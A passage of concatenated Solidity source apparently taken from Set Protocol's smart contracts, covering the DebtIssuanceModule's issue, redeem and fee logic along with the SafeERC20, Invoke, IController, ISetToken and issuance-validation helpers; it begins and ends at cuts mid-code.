abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; import { AddressArrayUtils } from "../../lib/AddressArrayUtils.sol"; import { IController } from "../../interfaces/IController.sol"; import { IManagerIssuanceHook } from "../../interfaces/IManagerIssuanceHook.sol"; import { IModuleIssuanceHook } from "../../interfaces/IModuleIssuanceHook.sol"; import { Invoke } from "../lib/Invoke.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { ModuleBase } from "../lib/ModuleBase.sol"; import { Position } from "../lib/Position.sol"; import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; /** * @title DebtIssuanceModule * @author Set Protocol * * The DebtIssuanceModule is a module that enables users to issue and redeem SetTokens that contain default and all * external positions, including debt positions. Module hooks are added to allow for syncing of positions, and component * level hooks are added to ensure positions are replicated correctly. The manager can define arbitrary issuance logic * in the manager hook, as well as specify issue and redeem fees. */ contract DebtIssuanceModule is ModuleBase, ReentrancyGuard { /* ============ Structs ============ */ // NOTE: moduleIssuanceHooks uses address[] for compatibility with AddressArrayUtils library struct IssuanceSettings { uint256 maxManagerFee; // Max issue/redeem fee defined on instantiation uint256 managerIssueFee; // Current manager issuance fees in precise units (10^16 = 1%) uint256 managerRedeemFee; // Current manager redeem fees in precise units (10^16 = 1%) address feeRecipient; // Address that receives all manager issue and redeem fees IManagerIssuanceHook managerIssuanceHook; // Instance of manager defined hook, can hold arbitrary logic address[] moduleIssuanceHooks; // Array of modules that are registered with this module mapping(address => bool) isModuleHook; // Mapping of modules to if they've registered a hook } /* ============ Events ============ */ event SetTokenIssued( ISetToken indexed _setToken, address indexed _issuer, address indexed _to, address _hookContract, uint256 _quantity, uint256 _managerFee, uint256 _protocolFee ); event SetTokenRedeemed( ISetToken indexed _setToken, address indexed _redeemer, address indexed _to, uint256 _quantity, uint256 _managerFee, uint256 _protocolFee ); event FeeRecipientUpdated(ISetToken indexed _setToken, address _newFeeRecipient); event IssueFeeUpdated(ISetToken indexed _setToken, uint256 _newIssueFee); event RedeemFeeUpdated(ISetToken indexed _setToken, uint256 _newRedeemFee); /* ============ Constants ============ */ uint256 private constant ISSUANCE_MODULE_PROTOCOL_FEE_SPLIT_INDEX = 0; /* ============ State ============ */ mapping(ISetToken => IssuanceSettings) public issuanceSettings; /* ============ Constructor ============ */ constructor(IController _controller) public ModuleBase(_controller) {} /* ============ External Functions ============ */ /** * Deposits components to the SetToken, replicates any external module component positions and mints * the SetToken. If the token has a debt position all collateral will be transferred in first then debt * will be returned to the minting address. If specified, a fee will be charged on issuance. * * @param _setToken Instance of the SetToken to issue * @param _quantity Quantity of SetToken to issue * @param _to Address to mint SetToken to */ function issue( ISetToken _setToken, uint256 _quantity, address _to ) external virtual nonReentrant onlyValidAndInitializedSet(_setToken) { require(_quantity > 0, "Issue quantity must be > 0"); address hookContract = _callManagerPreIssueHooks(_setToken, _quantity, msg.sender, _to); _callModulePreIssueHooks(_setToken, _quantity); ( uint256 quantityWithFees, uint256 managerFee, uint256 protocolFee ) = calculateTotalFees(_setToken, _quantity, true); ( address[] memory components, uint256[] memory equityUnits, uint256[] memory debtUnits ) = _calculateRequiredComponentIssuanceUnits(_setToken, quantityWithFees, true); _resolveEquityPositions(_setToken, quantityWithFees, _to, true, components, equityUnits); _resolveDebtPositions(_setToken, quantityWithFees, true, components, debtUnits); _resolveFees(_setToken, managerFee, protocolFee); _setToken.mint(_to, _quantity); emit SetTokenIssued( _setToken, msg.sender, _to, hookContract, _quantity, managerFee, protocolFee ); } /** * Returns components from the SetToken, unwinds any external module component positions and burns the SetToken. * If the token has debt positions, the module transfers in the required debt amounts from the caller and uses * those funds to repay the debts on behalf of the SetToken. All debt will be paid down first then equity positions * will be returned to the minting address. If specified, a fee will be charged on redeem. * * @param _setToken Instance of the SetToken to redeem * @param _quantity Quantity of SetToken to redeem * @param _to Address to send collateral to */ function redeem( ISetToken _setToken, uint256 _quantity, address _to ) external virtual nonReentrant onlyValidAndInitializedSet(_setToken) { require(_quantity > 0, "Redeem quantity must be > 0"); _callModulePreRedeemHooks(_setToken, _quantity); // Place burn after pre-redeem hooks because burning tokens may lead to false accounting of synced positions _setToken.burn(msg.sender, _quantity); ( uint256 quantityNetFees, uint256 managerFee, uint256 protocolFee ) = calculateTotalFees(_setToken, _quantity, false); ( address[] memory components, uint256[] memory equityUnits, uint256[] memory debtUnits ) = _calculateRequiredComponentIssuanceUnits(_setToken, quantityNetFees, false); _resolveDebtPositions(_setToken, quantityNetFees, false, components, debtUnits); _resolveEquityPositions(_setToken, quantityNetFees, _to, false, components, equityUnits); _resolveFees(_setToken, managerFee, protocolFee); emit SetTokenRedeemed( _setToken, msg.sender, _to, _quantity, managerFee, protocolFee ); } /** * MANAGER ONLY: Updates address receiving issue/redeem fees for a given SetToken. * * @param _setToken Instance of the SetToken to update fee recipient * @param _newFeeRecipient New fee recipient address */ function updateFeeRecipient( ISetToken _setToken, address _newFeeRecipient ) external onlyManagerAndValidSet(_setToken) { require(_newFeeRecipient != address(0), "Fee Recipient must be non-zero address."); require(_newFeeRecipient != issuanceSettings[_setToken].feeRecipient, "Same fee recipient passed"); issuanceSettings[_setToken].feeRecipient = _newFeeRecipient; emit FeeRecipientUpdated(_setToken, _newFeeRecipient); } /** * MANAGER ONLY: Updates issue fee for passed SetToken * * @param _setToken Instance of the SetToken to update issue fee * @param _newIssueFee New fee amount in preciseUnits (1% = 10^16) */ function updateIssueFee( ISetToken _setToken, uint256 _newIssueFee ) external onlyManagerAndValidSet(_setToken) { require(_newIssueFee <= issuanceSettings[_setToken].maxManagerFee, "Issue fee can't exceed maximum"); require(_newIssueFee != issuanceSettings[_setToken].managerIssueFee, "Same issue fee passed"); issuanceSettings[_setToken].managerIssueFee = _newIssueFee; emit IssueFeeUpdated(_setToken, _newIssueFee); } /** * MANAGER ONLY: Updates redeem fee for passed SetToken * * @param _setToken Instance of the SetToken to update redeem fee * @param _newRedeemFee New fee amount in preciseUnits (1% = 10^16) */ function updateRedeemFee( ISetToken _setToken, uint256 _newRedeemFee ) external onlyManagerAndValidSet(_setToken) { require(_newRedeemFee <= issuanceSettings[_setToken].maxManagerFee, "Redeem fee can't exceed maximum"); require(_newRedeemFee != issuanceSettings[_setToken].managerRedeemFee, "Same redeem fee passed"); issuanceSettings[_setToken].managerRedeemFee = _newRedeemFee; emit RedeemFeeUpdated(_setToken, _newRedeemFee); } /** * MODULE ONLY: Adds calling module to array of modules that require they be called before component hooks are * called. Can be used to sync debt positions before issuance. * * @param _setToken Instance of the SetToken to issue */ function registerToIssuanceModule(ISetToken _setToken) external onlyModule(_setToken) onlyValidAndInitializedSet(_setToken) { require(!issuanceSettings[_setToken].isModuleHook[msg.sender], "Module already registered."); issuanceSettings[_setToken].moduleIssuanceHooks.push(msg.sender); issuanceSettings[_setToken].isModuleHook[msg.sender] = true; } /** * MODULE ONLY: Removes calling module from array of modules that require they be called before component hooks are * called. * * @param _setToken Instance of the SetToken to issue */ function unregisterFromIssuanceModule(ISetToken _setToken) external onlyModule(_setToken) onlyValidAndInitializedSet(_setToken) { require(issuanceSettings[_setToken].isModuleHook[msg.sender], "Module not registered."); issuanceSettings[_setToken].moduleIssuanceHooks.removeStorage(msg.sender); issuanceSettings[_setToken].isModuleHook[msg.sender] = false; } /** * MANAGER ONLY: Initializes this module to the SetToken with issuance-related hooks and fee information. Only callable * by the SetToken's manager. Hook addresses are optional. Address(0) means that no hook will be called * * @param _setToken Instance of the SetToken to issue * @param _maxManagerFee Maximum fee that can be charged on issue and redeem * @param _managerIssueFee Fee to charge on issuance * @param _managerRedeemFee Fee to charge on redemption * @param _feeRecipient Address to send fees to * @param _managerIssuanceHook Instance of the Manager Contract with the Pre-Issuance Hook function */ function initialize( ISetToken _setToken, uint256 _maxManagerFee, uint256 _managerIssueFee, uint256 _managerRedeemFee, address _feeRecipient, IManagerIssuanceHook _managerIssuanceHook ) external onlySetManager(_setToken, msg.sender) onlyValidAndPendingSet(_setToken) { require(_managerIssueFee <= _maxManagerFee, "Issue fee can't exceed maximum fee"); require(_managerRedeemFee <= _maxManagerFee, "Redeem fee can't exceed maximum fee"); issuanceSettings[_setToken] = IssuanceSettings({ maxManagerFee: _maxManagerFee, managerIssueFee: _managerIssueFee, managerRedeemFee: _managerRedeemFee, feeRecipient: _feeRecipient, managerIssuanceHook: _managerIssuanceHook, moduleIssuanceHooks: new address[](0) }); _setToken.initializeModule(); } /** * SET TOKEN ONLY: Allows removal of module (and deletion of state) if no other modules are registered. */ function removeModule() external override { require(issuanceSettings[ISetToken(msg.sender)].moduleIssuanceHooks.length == 0, "Registered modules must be removed."); delete issuanceSettings[ISetToken(msg.sender)]; } /* ============ External View Functions ============ */ /** * Calculates the manager fee, protocol fee and resulting totalQuantity to use when calculating unit amounts. If fees are charged they * are added to the total issue quantity, for example 1% fee on 100 Sets means 101 Sets are minted by caller, the _to address receives * 100 and the feeRecipient receives 1. Conversely, on redemption the redeemer will only receive the collateral that collateralizes 99 * Sets, while the additional Set is given to the feeRecipient. * * @param _setToken Instance of the SetToken to issue * @param _quantity Amount of SetToken issuer wants to receive/redeem * @param _isIssue If issuing or redeeming * * @return totalQuantity Total amount of Sets to be issued/redeemed with fee adjustment * @return managerFee Sets minted to the manager * @return protocolFee Sets minted to the protocol */ function calculateTotalFees( ISetToken _setToken, uint256 _quantity, bool _isIssue ) public view returns (uint256 totalQuantity, uint256 managerFee, uint256 protocolFee) { IssuanceSettings memory setIssuanceSettings = issuanceSettings[_setToken]; uint256 protocolFeeSplit = controller.getModuleFee(address(this), ISSUANCE_MODULE_PROTOCOL_FEE_SPLIT_INDEX); uint256 totalFeeRate = _isIssue ? setIssuanceSettings.managerIssueFee : setIssuanceSettings.managerRedeemFee; uint256 totalFee = totalFeeRate.preciseMul(_quantity); protocolFee = totalFee.preciseMul(protocolFeeSplit); managerFee = totalFee.sub(protocolFee); totalQuantity = _isIssue ? _quantity.add(totalFee) : _quantity.sub(totalFee); } /** * Calculates the amount of each component needed to collateralize passed issue quantity plus fees of Sets as well as amount of debt * that will be returned to caller. Values DO NOT take into account any updates from pre action manager or module hooks. * * @param _setToken Instance of the SetToken to issue * @param _quantity Amount of Sets to be issued * * @return address[] Array of component addresses making up the Set * @return uint256[] Array of equity notional amounts of each component, respectively, represented as uint256 * @return uint256[] Array of debt notional amounts of each component, respectively, represented as uint256 */ function getRequiredComponentIssuanceUnits( ISetToken _setToken, uint256 _quantity ) external view returns (address[] memory, uint256[] memory, uint256[] memory) { ( uint256 totalQuantity,, ) = calculateTotalFees(_setToken, _quantity, true); return _calculateRequiredComponentIssuanceUnits(_setToken, totalQuantity, true); } /** * Calculates the amount of each component will be returned on redemption net of fees as well as how much debt needs to be paid down to. * redeem. Values DO NOT take into account any updates from pre action manager or module hooks. * * @param _setToken Instance of the SetToken to issue * @param _quantity Amount of Sets to be redeemed * * @return address[] Array of component addresses making up the Set * @return uint256[] Array of equity notional amounts of each component, respectively, represented as uint256 * @return uint256[] Array of debt notional amounts of each component, respectively, represented as uint256 */ function getRequiredComponentRedemptionUnits( ISetToken _setToken, uint256 _quantity ) external view returns (address[] memory, uint256[] memory, uint256[] memory) { ( uint256 totalQuantity,, ) = calculateTotalFees(_setToken, _quantity, false); return _calculateRequiredComponentIssuanceUnits(_setToken, totalQuantity, false); } function getModuleIssuanceHooks(ISetToken _setToken) external view returns(address[] memory) { return issuanceSettings[_setToken].moduleIssuanceHooks; } function isModuleIssuanceHook(ISetToken _setToken, address _hook) external view returns(bool) { return issuanceSettings[_setToken].isModuleHook[_hook]; } /* ============ Internal Functions ============ */ /** * Calculates the amount of each component needed to collateralize passed issue quantity of Sets as well as amount of debt that will * be returned to caller. Can also be used to determine how much collateral will be returned on redemption as well as how much debt * needs to be paid down to redeem. * * @param _setToken Instance of the SetToken to issue * @param _quantity Amount of Sets to be issued/redeemed * @param _isIssue Whether Sets are being issued or redeemed * * @return address[] Array of component addresses making up the Set * @return uint256[] Array of equity notional amounts of each component, respectively, represented as uint256 * @return uint256[] Array of debt notional amounts of each component, respectively, represented as uint256 */ function _calculateRequiredComponentIssuanceUnits( ISetToken _setToken, uint256 _quantity, bool _isIssue ) internal view returns (address[] memory, uint256[] memory, uint256[] memory) { ( address[] memory components, uint256[] memory equityUnits, uint256[] memory debtUnits ) = _getTotalIssuanceUnits(_setToken); uint256 componentsLength = components.length; uint256[] memory totalEquityUnits = new uint256[](componentsLength); uint256[] memory totalDebtUnits = new uint256[](componentsLength); for (uint256 i = 0; i < components.length; i++) { // Use preciseMulCeil to round up to ensure overcollateration when small issue quantities are provided // and preciseMul to round down to ensure overcollateration when small redeem quantities are provided totalEquityUnits[i] = _isIssue ? equityUnits[i].preciseMulCeil(_quantity) : equityUnits[i].preciseMul(_quantity); totalDebtUnits[i] = _isIssue ? debtUnits[i].preciseMul(_quantity) : debtUnits[i].preciseMulCeil(_quantity); } return (components, totalEquityUnits, totalDebtUnits); } /** * Sums total debt and equity units for each component, taking into account default and external positions. * * @param _setToken Instance of the SetToken to issue * * @return address[] Array of component addresses making up the Set * @return uint256[] Array of equity unit amounts of each component, respectively, represented as uint256 * @return uint256[] Array of debt unit amounts of each component, respectively, represented as uint256 */ function _getTotalIssuanceUnits( ISetToken _setToken ) internal view returns (address[] memory, uint256[] memory, uint256[] memory) { address[] memory components = _setToken.getComponents(); uint256 componentsLength = components.length; uint256[] memory equityUnits = new uint256[](componentsLength); uint256[] memory debtUnits = new uint256[](componentsLength); for (uint256 i = 0; i < components.length; i++) { address component = components[i]; int256 cumulativeEquity = _setToken.getDefaultPositionRealUnit(component); int256 cumulativeDebt = 0; address[] memory externalPositions = _setToken.getExternalPositionModules(component); if (externalPositions.length > 0) { for (uint256 j = 0; j < externalPositions.length; j++) { int256 externalPositionUnit = _setToken.getExternalPositionRealUnit(component, externalPositions[j]); // If positionUnit <= 0 it will be "added" to debt position if (externalPositionUnit > 0) { cumulativeEquity = cumulativeEquity.add(externalPositionUnit); } else { cumulativeDebt = cumulativeDebt.add(externalPositionUnit); } } } equityUnits[i] = cumulativeEquity.toUint256(); debtUnits[i] = cumulativeDebt.mul(-1).toUint256(); } return (components, equityUnits, debtUnits); } /** * Resolve equity positions associated with SetToken. On issuance, the total equity position for an asset (including default and external * positions) is transferred in. Then any external position hooks are called to transfer the external positions to their necessary place. * On redemption all external positions are recalled by the external position hook, then those position plus any default position are * transferred back to the _to address. */ function _resolveEquityPositions( ISetToken _setToken, uint256 _quantity, address _to, bool _isIssue, address[] memory _components, uint256[] memory _componentEquityQuantities ) internal { for (uint256 i = 0; i < _components.length; i++) { address component = _components[i]; uint256 componentQuantity = _componentEquityQuantities[i]; if (componentQuantity > 0) { if (_isIssue) { transferFrom( IERC20(component), msg.sender, address(_setToken), componentQuantity ); _executeExternalPositionHooks(_setToken, _quantity, IERC20(component), true, true); } else { _executeExternalPositionHooks(_setToken, _quantity, IERC20(component), false, true); _setToken.strictInvokeTransfer( component, _to, componentQuantity ); } } } } /** * Resolve debt positions associated with SetToken. On issuance, debt positions are entered into by calling the external position hook. The * resulting debt is then returned to the calling address. On redemption, the module transfers in the required debt amount from the caller * and uses those funds to repay the debt on behalf of the SetToken. */ function _resolveDebtPositions( ISetToken _setToken, uint256 _quantity, bool _isIssue, address[] memory _components, uint256[] memory _componentDebtQuantities ) internal { for (uint256 i = 0; i < _components.length; i++) { address component = _components[i]; uint256 componentQuantity = _componentDebtQuantities[i]; if (componentQuantity > 0) { if (_isIssue) { _executeExternalPositionHooks(_setToken, _quantity, IERC20(component), true, false); _setToken.strictInvokeTransfer( component, msg.sender, componentQuantity ); } else { transferFrom( IERC20(component), msg.sender, address(_setToken), componentQuantity ); _executeExternalPositionHooks(_setToken, _quantity, IERC20(component), false, false); } } } } /** * If any manager fees mints Sets to the defined feeRecipient. If protocol fee is enabled mints Sets to protocol * feeRecipient. */ function _resolveFees(ISetToken _setToken, uint256 managerFee, uint256 protocolFee) internal { if (managerFee > 0) { _setToken.mint(issuanceSettings[_setToken].feeRecipient, managerFee); // Protocol fee check is inside manager fee check because protocol fees are only collected on manager fees if (protocolFee > 0) { _setToken.mint(controller.feeRecipient(), protocolFee); } } } /** * If a pre-issue hook has been configured, call the external-protocol contract. Pre-issue hook logic * can contain arbitrary logic including validations, external function calls, etc. */ function _callManagerPreIssueHooks( ISetToken _setToken, uint256 _quantity, address _caller, address _to ) internal returns(address) { IManagerIssuanceHook preIssueHook = issuanceSettings[_setToken].managerIssuanceHook; if (address(preIssueHook) != address(0)) { preIssueHook.invokePreIssueHook(_setToken, _quantity, _caller, _to); return address(preIssueHook); } return address(0); } /** * Calls all modules that have registered with the DebtIssuanceModule that have a moduleIssueHook. */ function _callModulePreIssueHooks(ISetToken _setToken, uint256 _quantity) internal { address[] memory issuanceHooks = issuanceSettings[_setToken].moduleIssuanceHooks; for (uint256 i = 0; i < issuanceHooks.length; i++) { IModuleIssuanceHook(issuanceHooks[i]).moduleIssueHook(_setToken, _quantity); } } /** * Calls all modules that have registered with the DebtIssuanceModule that have a moduleRedeemHook. */ function _callModulePreRedeemHooks(ISetToken _setToken, uint256 _quantity) internal { address[] memory issuanceHooks = issuanceSettings[_setToken].moduleIssuanceHooks; for (uint256 i = 0; i < issuanceHooks.length; i++) { IModuleIssuanceHook(issuanceHooks[i]).moduleRedeemHook(_setToken, _quantity); } } /** * For each component's external module positions, calculate the total notional quantity, and * call the module's issue hook or redeem hook. * Note: It is possible that these hooks can cause the states of other modules to change. * It can be problematic if the hook called an external function that called back into a module, resulting in state inconsistencies. */ function _executeExternalPositionHooks( ISetToken _setToken, uint256 _setTokenQuantity, IERC20 _component, bool _isIssue, bool _isEquity ) internal { address[] memory externalPositionModules = _setToken.getExternalPositionModules(address(_component)); uint256 modulesLength = externalPositionModules.length; if (_isIssue) { for (uint256 i = 0; i < modulesLength; i++) { IModuleIssuanceHook(externalPositionModules[i]).componentIssueHook(_setToken, _setTokenQuantity, _component, _isEquity); } } else { for (uint256 i = 0; i < modulesLength; i++) { IModuleIssuanceHook(externalPositionModules[i]).componentRedeemHook(_setToken, _setTokenQuantity, _component, _isEquity); } } } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; interface IController { function addSet(address _setToken) external; function feeRecipient() external view returns(address); function getModuleFee(address _module, uint256 _feeType) external view returns(uint256); function isModule(address _module) external view returns(bool); function isSet(address _setToken) external view returns(bool); function isSystemContract(address _contractAddress) external view returns (bool); function resourceId(uint256 _id) external view returns(address); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; /** * @title Invoke * @author Set Protocol * * A collection of common utility functions for interacting with the SetToken's invoke function */ library Invoke { using SafeMath for uint256; /* ============ Internal ============ */ /** * Instructs the SetToken to set approvals of the ERC20 token to a spender. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to approve * @param _spender The account allowed to spend the SetToken's balance * @param _quantity The quantity of allowance to allow */ function invokeApprove( ISetToken _setToken, address _token, address _spender, uint256 _quantity ) internal { bytes memory callData = abi.encodeWithSignature("approve(address,uint256)", _spender, _quantity); _setToken.invoke(_token, 0, callData); } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function invokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { bytes memory callData = abi.encodeWithSignature("transfer(address,uint256)", _to, _quantity); _setToken.invoke(_token, 0, callData); } } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * The new SetToken balance must equal the existing balance less the quantity transferred * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function strictInvokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { // Retrieve current balance of token for the SetToken uint256 existingBalance = IERC20(_token).balanceOf(address(_setToken)); Invoke.invokeTransfer(_setToken, _token, _to, _quantity); // Get new balance of transferred token for SetToken uint256 newBalance = IERC20(_token).balanceOf(address(_setToken)); // Verify only the transfer quantity is subtracted require( newBalance == existingBalance.sub(_quantity), "Invalid post transfer balance" ); } } /** * Instructs the SetToken to unwrap the passed quantity of WETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeUnwrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("withdraw(uint256)", _quantity); _setToken.invoke(_weth, 0, callData); } /** * Instructs the SetToken to wrap the passed quantity of ETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeWrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("deposit()"); _setToken.invoke(_weth, _quantity, callData); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ISetToken * @author Set Protocol * * Interface for operating with SetTokens. */ interface ISetToken is IERC20 { /* ============ Enums ============ */ enum ModuleState { NONE, PENDING, INITIALIZED } /* ============ Structs ============ */ /** * The base definition of a SetToken Position * * @param component Address of token in the Position * @param module If not in default state, the address of associated module * @param unit Each unit is the # of components per 10^18 of a SetToken * @param positionState Position ENUM. Default is 0; External is 1 * @param data Arbitrary data */ struct Position { address component; address module; int256 unit; uint8 positionState; bytes data; } /** * A struct that stores a component's cash position details and external positions * This data structure allows O(1) access to a component's cash position units and * virtual units. * * @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency * updating all units at once via the position multiplier. Virtual units are achieved * by dividing a "real" value by the "positionMultiplier" * @param componentIndex * @param externalPositionModules List of external modules attached to each external position. Each module * maps to an external position * @param externalPositions Mapping of module => ExternalPosition struct for a given component */ struct ComponentPosition { int256 virtualUnit; address[] externalPositionModules; mapping(address => ExternalPosition) externalPositions; } /** * A struct that stores a component's external position details including virtual unit and any * auxiliary data. * * @param virtualUnit Virtual value of a component's EXTERNAL position. * @param data Arbitrary data */ struct ExternalPosition { int256 virtualUnit; bytes data; } /* ============ Functions ============ */ function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; /** * @title IssuanceValidationUtils * @author Set Protocol * * A collection of utility functions to help during issuance/redemption of SetToken. */ library IssuanceValidationUtils { using SafeMath for uint256; using SafeCast for int256; using PreciseUnitMath for uint256; /** * Validates component transfer IN to SetToken during issuance/redemption. Reverts if Set is undercollateralized post transfer. * NOTE: Call this function immediately after transfer IN but before calling external hooks (if any). * * @param _setToken Instance of the SetToken being issued/redeemed * @param _component Address of component being transferred in/out * @param _initialSetSupply Initial SetToken supply before issuance/redemption * @param _componentQuantity Amount of component transferred into SetToken */ function validateCollateralizationPostTransferInPreHook( ISetToken _setToken, address _component, uint256 _initialSetSupply, uint256 _componentQuantity ) internal view { uint256 newComponentBalance = IERC20(_component).balanceOf(address(_setToken)); uint256 defaultPositionUnit = _setToken.getDefaultPositionRealUnit(address(_component)).toUint256(); require( // Use preciseMulCeil to increase the lower bound and maintain over-collateralization newComponentBalance >= _initialSetSupply.preciseMulCeil(defaultPositionUnit).add(_componentQuantity), "Invalid transfer in. Results in undercollateralization" ); } /** * Validates component transfer OUT of SetToken during issuance/redemption. Reverts if Set is undercollateralized post transfer. * * @param _setToken Instance of the SetToken being issued/redeemed * @param _component Address of component being transferred in/out * @param _finalSetSupply Final SetToken supply after issuance/redemption */ function validateCollateralizationPostTransferOut( ISetToken _setToken, address _component, uint256 _finalSetSupply ) internal view { uint256 newComponentBalance = IERC20(_component).balanceOf(address(_setToken)); uint256 defaultPositionUnit = 